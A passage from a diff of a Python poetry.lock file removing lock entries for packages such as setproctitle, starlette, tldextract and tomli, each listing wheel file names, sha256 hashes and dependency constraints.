"ruff-0.15.2-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:72ecc64f46f7019e2bcc3cdc05d4a7da958b629a5ab7033195e11a438403d956"}, - {file = "ruff-0.15.2-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:8dcf243b15b561c655c1ef2f2b0050e5d50db37fe90115507f6ff37d865dc8b4"}, - {file = "ruff-0.15.2-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:dab6941c862c05739774677c6273166d2510d254dac0695c0e3f5efa1b5585de"}, - {file = "ruff-0.15.2-py3-none-musllinux_1_2_i686.whl", hash = "sha256:1b9164f57fc36058e9a6806eb92af185b0697c9fe4c7c52caa431c6554521e5c"}, - {file = "ruff-0.15.2-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:80d24fcae24d42659db7e335b9e1531697a7102c19185b8dc4a028b952865fd8"}, - {file = "ruff-0.15.2-py3-none-win32.whl", hash = "sha256:fd5ff9e5f519a7e1bd99cbe8daa324010a74f5e2ebc97c6242c08f26f3714f6f"}, - {file = "ruff-0.15.2-py3-none-win_amd64.whl", hash = "sha256:d20014e3dfa400f3ff84830dfb5755ece2de45ab62ecea4af6b7262d0fb4f7c5"}, - {file = "ruff-0.15.2-py3-none-win_arm64.whl", hash = "sha256:cabddc5822acdc8f7b5527b36ceac55cc51eec7b1946e60181de8fe83ca8876e"}, - {file = "ruff-0.15.2.tar.gz", hash = "sha256:14b965afee0969e68bb871eba625343b8673375f457af4abe98553e8bbb98342"}, -] - -[[package]] -name = "setproctitle" -version = "1.3.7" -description = "A Python module to customize the process title" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "setproctitle-1.3.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cf555b6299f10a6eb44e4f96d2f5a3884c70ce25dc5c8796aaa2f7b40e72cb1b"}, - {file = "setproctitle-1.3.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:690b4776f9c15aaf1023bb07d7c5b797681a17af98a4a69e76a1d504e41108b7"}, - {file = "setproctitle-1.3.7-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:00afa6fc507967d8c9d592a887cdc6c1f5742ceac6a4354d111ca0214847732c"}, - {file = "setproctitle-1.3.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9e02667f6b9fc1238ba753c0f4b0a37ae184ce8f3bbbc38e115d99646b3f4cd3"}, - {file = "setproctitle-1.3.7-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:83fcd271567d133eb9532d3b067c8a75be175b2b3b271e2812921a05303a693f"}, - {file = "setproctitle-1.3.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:13fe37951dda1a45c35d77d06e3da5d90e4f875c4918a7312b3b4556cfa7ff64"}, - {file = "setproctitle-1.3.7-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a05509cfb2059e5d2ddff701d38e474169e9ce2a298cf1b6fd5f3a213a553fe5"}, - {file = "setproctitle-1.3.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6da835e76ae18574859224a75db6e15c4c2aaa66d300a57efeaa4c97ca4c7381"}, - {file = "setproctitle-1.3.7-cp310-cp310-win32.whl", hash = "sha256:9e803d1b1e20240a93bac0bc1025363f7f80cb7eab67dfe21efc0686cc59ad7c"}, - {file = "setproctitle-1.3.7-cp310-cp310-win_amd64.whl", hash = "sha256:a97200acc6b64ec4cada52c2ecaf1fba1ef9429ce9c542f8a7db5bcaa9dcbd95"}, - {file = "setproctitle-1.3.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a600eeb4145fb0ee6c287cb82a2884bd4ec5bbb076921e287039dcc7b7cc6dd0"}, - {file = "setproctitle-1.3.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:97a090fed480471bb175689859532709e28c085087e344bca45cf318034f70c4"}, - {file = "setproctitle-1.3.7-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1607b963e7b53e24ec8a2cb4e0ab3ae591d7c6bf0a160feef0551da63452b37f"}, - {file = "setproctitle-1.3.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a20fb1a3974e2dab857870cf874b325b8705605cb7e7e8bcbb915bca896f52a9"}, - {file = "setproctitle-1.3.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f8d961bba676e07d77665204f36cffaa260f526e7b32d07ab3df6a2c1dfb44ba"}, - {file = "setproctitle-1.3.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:db0fd964fbd3a9f8999b502f65bd2e20883fdb5b1fae3a424e66db9a793ed307"}, - {file = "setproctitle-1.3.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:db116850fcf7cca19492030f8d3b4b6e231278e8fe097a043957d22ce1bdf3ee"}, - {file = "setproctitle-1.3.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:316664d8b24a5c91ee244460bdaf7a74a707adaa9e14fbe0dc0a53168bb9aba1"}, - {file = "setproctitle-1.3.7-cp311-cp311-win32.whl", hash = "sha256:b74774ca471c86c09b9d5037c8451fff06bb82cd320d26ae5a01c758088c0d5d"}, - {file = "setproctitle-1.3.7-cp311-cp311-win_amd64.whl", hash = "sha256:acb9097213a8dd3410ed9f0dc147840e45ca9797785272928d4be3f0e69e3be4"}, - {file = "setproctitle-1.3.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2dc99aec591ab6126e636b11035a70991bc1ab7a261da428491a40b84376654e"}, - {file = "setproctitle-1.3.7-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:cdd8aa571b7aa39840fdbea620e308a19691ff595c3a10231e9ee830339dd798"}, - {file = "setproctitle-1.3.7-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2906b6c7959cdb75f46159bf0acd8cc9906cf1361c9e1ded0d065fe8f9039629"}, - {file = "setproctitle-1.3.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6915964a6dda07920a1159321dcd6d94fc7fc526f815ca08a8063aeca3c204f1"}, - {file = "setproctitle-1.3.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cff72899861c765bd4021d1ff1c68d60edc129711a2fdba77f9cb69ef726a8b6"}, - {file = "setproctitle-1.3.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b7cb05bd446687ff816a3aaaf831047fc4c364feff7ada94a66024f1367b448c"}, - {file = "setproctitle-1.3.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:3a57b9a00de8cae7e2a1f7b9f0c2ac7b69372159e16a7708aa2f38f9e5cc987a"}, - {file = "setproctitle-1.3.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d8828b356114f6b308b04afe398ed93803d7fca4a955dd3abe84430e28d33739"}, - {file = "setproctitle-1.3.7-cp312-cp312-win32.whl", hash = "sha256:b0304f905efc845829ac2bc791ddebb976db2885f6171f4a3de678d7ee3f7c9f"}, - {file = "setproctitle-1.3.7-cp312-cp312-win_amd64.whl", hash = "sha256:9888ceb4faea3116cf02a920ff00bfbc8cc899743e4b4ac914b03625bdc3c300"}, - {file = "setproctitle-1.3.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c3736b2a423146b5e62230502e47e08e68282ff3b69bcfe08a322bee73407922"}, - {file = "setproctitle-1.3.7-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3384e682b158d569e85a51cfbde2afd1ab57ecf93ea6651fe198d0ba451196ee"}, - {file = "setproctitle-1.3.7-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0564a936ea687cd24dffcea35903e2a20962aa6ac20e61dd3a207652401492dd"}, - {file = "setproctitle-1.3.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5d1cb3f81531f0eb40e13246b679a1bdb58762b170303463cb06ecc296f26d0"}, - {file = "setproctitle-1.3.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a7d159e7345f343b44330cbba9194169b8590cb13dae940da47aa36a72aa9929"}, - {file = "setproctitle-1.3.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0b5074649797fd07c72ca1f6bff0406f4a42e1194faac03ecaab765ce605866f"}, - {file = "setproctitle-1.3.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:61e96febced3f61b766115381d97a21a6265a0f29188a791f6df7ed777aef698"}, - {file = "setproctitle-1.3.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:047138279f9463f06b858e579cc79580fbf7a04554d24e6bddf8fe5dddbe3d4c"}, - {file = "setproctitle-1.3.7-cp313-cp313-win32.whl", hash = "sha256:7f47accafac7fe6535ba8ba9efd59df9d84a6214565108d0ebb1199119c9cbbd"}, - {file = "setproctitle-1.3.7-cp313-cp313-win_amd64.whl", hash = "sha256:fe5ca35aeec6dc50cabab9bf2d12fbc9067eede7ff4fe92b8f5b99d92e21263f"}, - {file = "setproctitle-1.3.7-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:10e92915c4b3086b1586933a36faf4f92f903c5554f3c34102d18c7d3f5378e9"}, - {file = "setproctitle-1.3.7-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:de879e9c2eab637f34b1a14c4da1e030c12658cdc69ee1b3e5be81b380163ce5"}, - {file = "setproctitle-1.3.7-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c18246d88e227a5b16248687514f95642505000442165f4b7db354d39d0e4c29"}, - {file = "setproctitle-1.3.7-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7081f193dab22df2c36f9fc6d113f3793f83c27891af8fe30c64d89d9a37e152"}, - {file = "setproctitle-1.3.7-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9cc9b901ce129350637426a89cfd650066a4adc6899e47822e2478a74023ff7c"}, - {file = "setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:80e177eff2d1ec172188d0d7fd9694f8e43d3aab76a6f5f929bee7bf7894e98b"}, - {file = "setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:23e520776c445478a67ee71b2a3c1ffdafbe1f9f677239e03d7e2cc635954e18"}, - {file = "setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5fa1953126a3b9bd47049d58c51b9dac72e78ed120459bd3aceb1bacee72357c"}, - {file = "setproctitle-1.3.7-cp313-cp313t-win32.whl", hash = "sha256:4a5e212bf438a4dbeece763f4962ad472c6008ff6702e230b4f16a037e2f6f29"}, - {file = "setproctitle-1.3.7-cp313-cp313t-win_amd64.whl", hash = "sha256:cf2727b733e90b4f874bac53e3092aa0413fe1ea6d4f153f01207e6ce65034d9"}, - {file = "setproctitle-1.3.7-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:80c36c6a87ff72eabf621d0c79b66f3bdd0ecc79e873c1e9f0651ee8bf215c63"}, - {file = "setproctitle-1.3.7-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b53602371a52b91c80aaf578b5ada29d311d12b8a69c0c17fbc35b76a1fd4f2e"}, - {file = "setproctitle-1.3.7-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fcb966a6c57cf07cc9448321a08f3be6b11b7635be502669bc1d8745115d7e7f"}, - {file = "setproctitle-1.3.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:46178672599b940368d769474fe13ecef1b587d58bb438ea72b9987f74c56ea5"}, - {file = "setproctitle-1.3.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7f9e9e3ff135cbcc3edd2f4cf29b139f4aca040d931573102742db70ff428c17"}, - {file = "setproctitle-1.3.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:14c7eba8d90c93b0e79c01f0bd92a37b61983c27d6d7d5a3b5defd599113d60e"}, - {file = "setproctitle-1.3.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:9e64e98077fb30b6cf98073d6c439cd91deb8ebbf8fc62d9dbf52bd38b0c6ac0"}, - {file = "setproctitle-1.3.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:b91387cc0f02a00ac95dcd93f066242d3cca10ff9e6153de7ee07069c6f0f7c8"}, - {file = "setproctitle-1.3.7-cp314-cp314-win32.whl", hash = "sha256:52b054a61c99d1b72fba58b7f5486e04b20fefc6961cd76722b424c187f362ed"}, - {file = "setproctitle-1.3.7-cp314-cp314-win_amd64.whl", hash = "sha256:5818e4080ac04da1851b3ec71e8a0f64e3748bf9849045180566d8b736702416"}, - {file = "setproctitle-1.3.7-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6fc87caf9e323ac426910306c3e5d3205cd9f8dcac06d233fcafe9337f0928a3"}, - {file = "setproctitle-1.3.7-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6134c63853d87a4897ba7d5cc0e16abfa687f6c66fc09f262bb70d67718f2309"}, - {file = "setproctitle-1.3.7-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1403d2abfd32790b6369916e2313dffbe87d6b11dca5bbd898981bcde48e7a2b"}, - {file = "setproctitle-1.3.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e7c5bfe4228ea22373e3025965d1a4116097e555ee3436044f5c954a5e63ac45"}, - {file = "setproctitle-1.3.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:585edf25e54e21a94ccb0fe81ad32b9196b69ebc4fc25f81da81fb8a50cca9e4"}, - {file = "setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:96c38cdeef9036eb2724c2210e8d0b93224e709af68c435d46a4733a3675fee1"}, - {file = "setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:45e3ef48350abb49cf937d0a8ba15e42cee1e5ae13ca41a77c66d1abc27a5070"}, - {file = "setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:1fae595d032b30dab4d659bece20debd202229fce12b55abab978b7f30783d73"}, - {file = "setproctitle-1.3.7-cp314-cp314t-win32.whl", hash = "sha256:02432f26f5d1329ab22279ff863c83589894977063f59e6c4b4845804a08f8c2"}, - {file = "setproctitle-1.3.7-cp314-cp314t-win_amd64.whl", hash = "sha256:cbc388e3d86da1f766d8fc2e12682e446064c01cea9f88a88647cfe7c011de6a"}, - {file = "setproctitle-1.3.7-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:376761125ab5dab822d40eaa7d9b7e876627ecd41de8fa5336713b611b47ccef"}, - {file = "setproctitle-1.3.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:2a4e03bd9aa5d10b8702f00ec1b740691da96b5003432f3000d60c56f1c2b4d3"}, - {file = "setproctitle-1.3.7-cp38-cp38-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:47d36e418ab86b3bc7946e27155e281a743274d02cd7e545f5d628a2875d32f9"}, - {file = "setproctitle-1.3.7-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a74714ce836914063c36c8a26ae11383cf8a379698c989fe46883e38a8faa5be"}, - {file = "setproctitle-1.3.7-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f2ae6c3f042fc866cc0fa2bc35ae00d334a9fa56c9d28dfc47d1b4f5ed23e375"}, - {file = "setproctitle-1.3.7-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:be7e01f3ad8d0e43954bebdb3088cb466633c2f4acdd88647e7fbfcfe9b9729f"}, - {file = "setproctitle-1.3.7-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:35a2cabcfdea4643d7811cfe9f3d92366d282b38ef5e7e93e25dafb6f97b0a59"}, - {file = "setproctitle-1.3.7-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:8ce2e39a40fca82744883834683d833e0eb28623752cc1c21c2ec8f06a890b39"}, - {file = "setproctitle-1.3.7-cp38-cp38-win32.whl", hash = "sha256:6f1be447456fe1e16c92f5fb479404a850d8f4f4ff47192fde14a59b0bae6a0a"}, - {file = "setproctitle-1.3.7-cp38-cp38-win_amd64.whl", hash = "sha256:5ce2613e1361959bff81317dc30a60adb29d8132b6159608a783878fc4bc4bbc"}, - {file = "setproctitle-1.3.7-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:deda9d79d1eb37b688729cac2dba0c137e992ebea960eadb7c2c255524c869e0"}, - {file = "setproctitle-1.3.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a93e4770ac22794cfa651ee53f092d7de7105c76b9fc088bb81ca0dcf698f704"}, - {file = "setproctitle-1.3.7-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:134e7f66703a1d92c0a9a0a417c580f2cc04b93d31d3fc0dd43c3aa194b706e1"}, - {file = "setproctitle-1.3.7-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9796732a040f617fc933f9531c9a84bb73c5c27b8074abbe52907076e804b2b7"}, - {file = "setproctitle-1.3.7-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ff3c1c32382fb71a200db8bab3df22f32e6ac7ec3170e92fa5b542cf42eed9a2"}, - {file = "setproctitle-1.3.7-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:01f27b5b72505b304152cb0bd7ff410cc4f2d69ac70c21a7fdfa64400a68642d"}, - {file = "setproctitle-1.3.7-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:80b6a562cbc92b289c28f34ce709a16b26b1696e9b9a0542a675ce3a788bdf3f"}, - {file = "setproctitle-1.3.7-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:c4fb90174d176473122e7eef7c6492d53761826f34ff61c81a1c1d66905025d3"}, - {file = "setproctitle-1.3.7-cp39-cp39-win32.whl", hash = "sha256:c77b3f58a35f20363f6e0a1219b367fbf7e2d2efe3d2c32e1f796447e6061c10"}, - {file = "setproctitle-1.3.7-cp39-cp39-win_amd64.whl", hash = "sha256:318ddcf88dafddf33039ad41bc933e1c49b4cb196fe1731a209b753909591680"}, - {file = "setproctitle-1.3.7-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:eb440c5644a448e6203935ed60466ec8d0df7278cd22dc6cf782d07911bcbea6"}, - {file = "setproctitle-1.3.7-pp310-pypy310_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:502b902a0e4c69031b87870ff4986c290ebbb12d6038a70639f09c331b18efb2"}, - {file = "setproctitle-1.3.7-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f6f268caeabb37ccd824d749e7ce0ec6337c4ed954adba33ec0d90cc46b0ab78"}, - {file = "setproctitle-1.3.7-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b1cac6a4b0252b8811d60b6d8d0f157c0fdfed379ac89c25a914e6346cf355a1"}, - {file = "setproctitle-1.3.7-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f1704c9e041f2b1dc38f5be4552e141e1432fba3dd52c72eeffd5bc2db04dc65"}, - {file = "setproctitle-1.3.7-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:b08b61976ffa548bd5349ce54404bf6b2d51bd74d4f1b241ed1b0f25bce09c3a"}, - {file = "setproctitle-1.3.7.tar.gz", hash = "sha256:bc2bc917691c1537d5b9bca1468437176809c7e11e5694ca79a9ca12345dcb9e"}, -] - -[package.extras] -test = ["pytest"] - -[[package]] -name = "six" -version = "1.17.0" -description = "Python 2 and 3 compatibility utilities" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" -groups = ["docs"] -files = [ - {file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"}, - {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, -] - -[[package]] -name = "socksio" -version = "1.0.0" -description = "Sans-I/O implementation of SOCKS4, SOCKS4A, and SOCKS5." -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "socksio-1.0.0-py3-none-any.whl", hash = "sha256:95dc1f15f9b34e8d7b16f06d74b8ccf48f609af32ab33c608d08761c5dcbb1f3"}, - {file = "socksio-1.0.0.tar.gz", hash = "sha256:f88beb3da5b5c38b9890469de67d0cb0f9d494b78b106ca1845f96c10b91c4ac"}, -] - -[[package]] -name = "soupsieve" -version = "2.8.3" -description = "A modern CSS selector implementation for Beautiful Soup." -optional = false -python-versions = ">=3.9" -groups = ["main", "docs"] -files = [ - {file = "soupsieve-2.8.3-py3-none-any.whl", hash = "sha256:ed64f2ba4eebeab06cc4962affce381647455978ffc1e36bb79a545b91f45a95"}, - {file = "soupsieve-2.8.3.tar.gz", hash = "sha256:3267f1eeea4251fb42728b6dfb746edc9acaffc4a45b27e19450b676586e8349"}, -] - -[[package]] -name = "starlette" -version = "0.49.3" -description = "The little ASGI library that shines." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -markers = "python_version == \"3.9\"" -files = [ - {file = "starlette-0.49.3-py3-none-any.whl", hash = "sha256:b579b99715fdc2980cf88c8ec96d3bf1ce16f5a8051a7c2b84ef9b1cdecaea2f"}, - {file = "starlette-0.49.3.tar.gz", hash = "sha256:1c14546f299b5901a1ea0e34410575bc33bbd741377a10484a54445588d00284"}, -] - -[package.dependencies] -anyio = ">=3.6.2,<5" -typing-extensions = {version = ">=4.10.0", markers = "python_version < \"3.13\""} - -[package.extras] -full = ["httpx (>=0.27.0,<0.29.0)", "itsdangerous", "jinja2", "python-multipart (>=0.0.18)", "pyyaml"] - -[[package]] -name = "starlette" -version = "0.52.1" -description = "The little ASGI library that shines." -optional = false -python-versions = ">=3.10" -groups = ["dev"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "starlette-0.52.1-py3-none-any.whl", hash = "sha256:0029d43eb3d273bc4f83a08720b4912ea4b071087a3b48db01b7c839f7954d74"}, - {file = "starlette-0.52.1.tar.gz", hash = "sha256:834edd1b0a23167694292e94f597773bc3f89f362be6effee198165a35d62933"}, -] - -[package.dependencies] -anyio = ">=3.6.2,<5" -typing-extensions = {version = ">=4.10.0", markers = "python_version < \"3.13\""} - -[package.extras] -full = ["httpx (>=0.27.0,<0.29.0)", "itsdangerous", "jinja2", "python-multipart (>=0.0.18)", "pyyaml"] - -[[package]] -name = "tabulate" -version = "0.8.10" -description = "Pretty-print tabular data" -optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" -groups = ["main"] -files = [ - {file = "tabulate-0.8.10-py3-none-any.whl", hash = "sha256:0ba055423dbaa164b9e456abe7920c5e8ed33fcc16f6d1b2f2d152c8e1e8b4fc"}, - {file = "tabulate-0.8.10.tar.gz", hash = "sha256:6c57f3f3dd7ac2782770155f3adb2db0b1a269637e42f27599925e64b114f519"}, -] - -[package.extras] -widechars = ["wcwidth"] - -[[package]] -name = "tldextract" -version = "5.3.0" -description = "Accurately separates a URL's subdomain, domain, and public suffix, using the Public Suffix List (PSL). By default, this includes the public ICANN TLDs and their exceptions. You can optionally support the Public Suffix List's private domains as well." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "tldextract-5.3.0-py3-none-any.whl", hash = "sha256:f70f31d10b55c83993f55e91ecb7c5d84532a8972f22ec578ecfbe5ea2292db2"}, - {file = "tldextract-5.3.0.tar.gz", hash = "sha256:b3d2b70a1594a0ecfa6967d57251527d58e00bb5a91a74387baa0d87a0678609"}, -] - -[package.dependencies] -filelock = ">=3.0.8" -idna = "*" -requests = ">=2.1.0" -requests-file = ">=1.4" - -[package.extras] -release = ["build", "twine"] -testing = ["mypy", "pytest", "pytest-gitignore", "pytest-mock", "responses", "ruff", "syrupy", "tox", "tox-uv", "types-filelock", "types-requests"] - -[[package]] -name = "tomli" -version = "2.4.0" -description = "A lil' TOML parser" -optional = false -python-versions = ">=3.8" -groups = ["dev"] -markers = "python_full_version <= \"3.11.0a6\"" -files = [ - {file = "tomli-2.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5ef256a3fd497d4973c11bf142e9ed78b150d36f5773f1ca6088c230ffc5867"}, - {file = "tomli-2.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5572e41282d5268eb09a697c89a7bee84fae66511f87533a6f88bd2f7b652da9"}, - {file = "tomli-2.4.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:551e321c6ba03b55676970b47cb1b73f14a0a4dce6a3e1a9458fd6d921d72e95"}, - {file = "tomli-2.4.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e3f639a7a8f10069d0e15408c0b96a2a828cfdec6fca05296ebcdcc28ca7c76"}, - {file = "tomli-2.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1b168f2731796b045128c45982d3a4874057626da0e2ef1fdd722848b741361d"}, - {file = "tomli-2.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:133e93646ec4300d651839d382d63edff11d8978be23da4cc106f5a18b7d0576"}, - {file = "tomli-2.4.0-cp311-cp311-win32.whl", hash = "sha256:b6c78bdf37764092d369722d9946cb65b8767bfa4110f902a1b2542d8d173c8a"}, - {file = "tomli-2.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3d1654e11d724760cdb37a3d7691f0be9db5fbdaef59c9f532aabf87006dbaa"}, - {file = "tomli-2.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:cae9c19ed12d4e8f3ebf46d1a75090e4c0dc16271c5bce1c833ac168f08fb614"}, - {file = "tomli-2.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:920b1de295e72887bafa3ad9f7a792f811847d57ea6b1215154030cf131f16b1"}, - {file = "tomli-2.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7d6d9a4aee98fac3eab4952ad1d73aee87359452d1c086b5ceb43ed02ddb16b8"}, - {file = "tomli-2.4.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:36b9d05b51e65b254ea6c2585b59d2c4cb91c8a3d91d0ed0f17591a29aaea54a"}, - {file = "tomli-2.4.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1c8a885b370751837c029ef9bc014f27d80840e48bac415f3412e6593bbc18c1"}, - {file = "tomli-2.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8768715ffc41f0008abe25d808c20c3d990f42b6e2e58305d5da280ae7d1fa3b"}, - {file = "tomli-2.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7b438885858efd5be02a9a133caf5812b8776ee0c969fea02c45e8e3f296ba51"}, - {file = "tomli-2.4.0-cp312-cp312-win32.whl", hash = "sha256:0408e3de5ec77cc7f81960c362543cbbd91ef883e3138e81b729fc3eea5b9729"}, - {file = "tomli-2.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:685306e2cc7da35be4ee914fd34ab801a6acacb061b6a7abca922aaf9ad368da"}, - {file = "tomli-2.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:5aa48d7c2356055feef06a43611fc401a07337d5b006be13a30f6c58f869e3c3"}, - {file = "tomli-2.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84d081fbc252d1b6a982e1870660e7330fb8f90f676f6e78b052ad4e64714bf0"}, - {file = "tomli-2.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9a08144fa4cba33db5255f9b74f0b89888622109bd2776148f2597447f92a94e"}, - {file = "tomli-2.4.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = 